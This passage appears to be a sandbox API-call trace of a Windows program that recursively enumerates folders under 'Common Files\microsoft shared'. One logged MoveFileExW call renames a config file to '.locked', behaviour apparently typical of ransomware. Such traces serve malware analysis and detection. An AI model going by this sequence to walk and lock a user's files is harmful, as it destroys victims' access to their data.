shared\\Help\\1040\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f10080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f10080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.208] GetFileType (hFile=0xc4) returned 0x1 [0092.209] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f10080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f10080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.209] GetFileType (hFile=0xc4) returned 0x1 [0092.210] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f10080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f10080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.211] GetFileType (hFile=0xc4) returned 0x1 [0092.212] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f361e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f361e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.213] GetFileType (hFile=0xc4) returned 0x1 [0092.214] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f361e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f361e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.214] GetFileType (hFile=0xc4) returned 0x1 [0092.215] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f361e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f361e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.216] GetFileType (hFile=0xc4) returned 0x1 [0092.217] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f361e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f361e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.219] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9f361e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f361e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.220] GetFileType (hFile=0xc4) returned 0x1 [0092.224] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9f361e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f361e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.224] GetFileType (hFile=0xc4) returned 0x1 [0092.225] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9f361e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f361e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.228] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd9f5c340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f5c340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.228] GetFileType (hFile=0xc4) returned 0x1 [0092.229] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd9f5c340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f5c340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.231] GetFileType (hFile=0xc8) returned 0x1 [0092.232] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9f5c340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f5c340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.233] GetFileType (hFile=0xc4) returned 0x1 [0092.234] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9f5c340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f5c340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.235] GetFileType (hFile=0xc8) returned 0x1 [0092.236] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9f5c340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f5c340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.237] GetFileType (hFile=0xc4) returned 0x1 [0092.238] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd9f5c340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f5c340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.239] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xd9f5c340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f5c340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.242] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9f824a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f824a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.243] GetFileType (hFile=0xc4) returned 0x1 [0092.244] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd9f824a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f824a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.245] GetFileType (hFile=0xc4) returned 0x1 [0092.246] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xd9f824a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f824a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.247] GetFileType (hFile=0xc8) returned 0x1 [0092.248] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f824a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f824a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.249] GetFileType (hFile=0xc4) returned 0x1 [0092.250] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f824a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f824a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.252] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9f824a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f824a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.257] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9f824a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f824a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.258] GetFileType (hFile=0xc4) returned 0x1 [0092.258] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd9fa8600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fa8600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.260] GetFileType (hFile=0xc4) returned 0x1 [0092.261] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd9fa8600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fa8600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.261] GetFileType (hFile=0xc8) returned 0x1 [0092.262] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd9fa8600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fa8600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.263] GetFileType (hFile=0xc4) returned 0x1 [0092.264] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd9fa8600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fa8600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.264] GetFileType (hFile=0xc8) returned 0x1 [0092.265] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd9fa8600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fa8600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.266] GetFileType (hFile=0xc4) returned 0x1 [0092.267] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd9fa8600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fa8600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.268] GetFileType (hFile=0xc8) returned 0x1 [0092.269] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd9fa8600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fa8600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.273] GetFileType (hFile=0xc4) returned 0x1 [0092.274] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd9fce760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fce760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.274] GetFileType (hFile=0xc8) returned 0x1 [0092.275] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9fce760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fce760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.278] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd9fce760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fce760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.281] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9fce760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fce760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.284] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9fce760, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9fce760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.286] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\vsta_ep32.exe.config" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86\\vsta_ep32.exe.config"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\vsta_ep32.exe.config.locked" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86\\vsta_ep32.exe.config.locked"), dwFlags=0x2) returned 1 [0092.289] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9ff48c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ff48c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.292] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9ff48c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ff48c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.293] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd9ff48c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ff48c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.295] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9ff48c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ff48c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0092.297] FindFirstFileA (in: lpFileName="C:\\\\Program 